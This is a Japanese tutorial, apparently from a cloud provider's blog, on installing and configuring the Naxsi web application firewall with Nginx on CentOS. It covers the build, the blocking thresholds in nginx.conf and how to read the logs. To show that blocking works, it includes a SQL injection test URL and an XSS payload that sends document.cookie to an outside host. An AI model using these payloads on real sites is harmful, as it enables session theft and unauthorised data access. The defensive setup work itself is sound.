1. WAFとは
WAF (Web Application Firewall) とは、一般的にWebサーバーの前面に設置され、ウェブアプリケーションへの攻撃を防御するセキュリティー対策製品の1つです。
2. Naxsiとは
Naxsi は、Nginx Anti Xss & Sql Injection の略で、、ModSecurity などとは異なるポリシーの元に作られた新しい WAFです。アンチウィルスソフトなどで使われるシグネチャータイプではなく、 以下のような特徴を持っています。
- XSS, SQL injection, CSRF, File include からの防衛
- 既知の攻撃に対するシグネチャーによらない防衛
- GET/POST リクエストのチェック
- HTTP ヘッダとクッキーのチェック
- 危険な記号類、SQL キーワードの禁止
- 早いエンジン
- 比較的に単純な設定
- ホワイトリストアプローチの採用
- 学習モードのサポート
シグネチャーによらない防衛機能として、脆弱性のある良く知られた パターンの99% を含む単純なルールが用意されており、例えば、 URIの一部として <,|, drop などは含まれてはならない などです。
3. 構築手順
1 ECSサーバーを作成
今回はCentOS7.3のOSで日本リージョンにECSを作成し検証いたしました。
2 NginxとNaxsiのインストール
それぞれの公式ホームページから、Nginx、Naxsiをダウンロードし、ローカルファイルシステムに展開します。
# wget http://nginx.org/download/nginx-1.12.1.tar.gz -q # wget https://github.com/nbs-system/naxsi/archive/0.55.3.tar.gz -q # ls 0.55.3.tar.gz nginx-1.12.1.tar.gz # tar xzf nginx-1.12.1.tar.gz # tar xzf 0.55.3.tar.gz # ls 0.55.3.tar.gz naxsi-0.55.3 nginx-1.12.1 nginx-1.12.1.tar.gz # mv naxsi-0.55.3 naxsi # mv nginx-1.12.1 nginx # ls 0.55.3.tar.gz naxsi nginx nginx-1.12.1.tar.gz
必要となるライブラリPCRE zlib OpenSSLのインストール。
# yum install -y pcre pcre-devel zlib zlib-devel openssl openssl-devel
ビルド・インストール・起動
# cd nginx # ./configure --add-module=../naxsi/naxsi_src/ ...中略 # make ...中略 # make install ...中略 # cd /usr/local/nginx/sbin/ # ./nginx
グローバルIPアドレスにブラウザから接続すると、Nginxの画面がでてくることを確認できます。
不正なURLパラメータでも、今の段階では正常にアクセスできてしまいます。
4. NginxにおけるNaxsiの設定
それではNaxsiの設定を行っていきます。
nginx.confの編集を行います。
http { include mime.types; #デフォルトで配布されているnaxsiルール include /root/naxsi/naxsi_config/naxsi_core.rules; default_type application/octet-stream; ...中略 server { listen 80; server_name localhost; ...中略 location / { root html; index index.html index.htm; #Enable naxsi SecRulesEnabled; #遮断する際に内部 リダイレクトする先 DeniedUrl "/50x.html"; #しきい値の設定 CheckRule "$SQL >= 8" BLOCK; CheckRule "$RFI >= 8" BLOCK; CheckRule "$TRAVERSAL >= 4" BLOCK; CheckRule "$EVADE >= 4" BLOCK; CheckRule "$XSS >= 8" BLOCK; #BasicRule ホワイトリスト BasicRule wl:0 "mz:$ARGS_VAR:id"; }
*デフォルトで配布されているnaxsiルールnaxsi_core.rulesで、CheckRuleにある$SQLや、$RFIの値を設定する。CheckRuleのルールがtrueの場合、DeniedUrlにリダイレクトになります。
設定が完了したらnginxを再起動します。
# cd ../sbin/ # ./nginx -t nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful # ./nginx -s reload
グローバルIPアドレスにブラウザから接続すると(正常なパラメータだと)、Nginxの画面が正常に表示されることが確認できます。
一方、今度は不正なURLパラメータで接続していきます。
きちんと遮断されることが確認できました。
SQLインジェクション:
http://47.91.29.132/?para=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
XSS攻撃:
http://47.91.29.132/?para=<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>
アクセス管理、ロギング
ログはデフォルトで下記に保存されています。Naxsiが遮断したリクエストなどを確認することができます。
・アクセスログ:/nginx/logs/access.log
・エラーログ:/nginx/logs/error.log
例として、SQLインジェクションで攻撃されたときのログを見てみましょう。http://47.91.29.132/?para=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
error.logに下記のとおりログが保存されています。
2017/09/15 16:43:38 [error] 27388#0: *58943 NAXSI_FMT: ip=XXX.XXX.XXX.XXX&server=47.91.29.132&uri=/&learning=0&vers=0.55.3&total_processed=840&total_blocked=96&block=1&cscore0=$SQL&score0=8&zone0=ARGS&id0=1000&var_name0=para, client: 210.146.35.2, server: localhost, request: "GET /?para=admin%27%20and%20(Select%20count(*)%20from%20data%20where%20uname=%27wucm%27%20and%20len(upass)%3C10)%3E0%20and%20%27a%27=%27a HTTP/1.1", host: "XXX.XXX.XXX.XXX"
5. より発展的に
WAFを導入する際によくある実践的なアーキテクチャについてご紹介します。
WAFはセキュリティ防御の層ともいえるのでアプリケーション層と分離したアーキテクチャを採用することも多いです。その時は内部ロードバランサを活用するといいです。
内部ロードバランサについてはこちらによくまとまっていますのでみてみてください。
このWAFについても同様の考え方を行うことができるので、もし実際に導入する際には検討してみてください。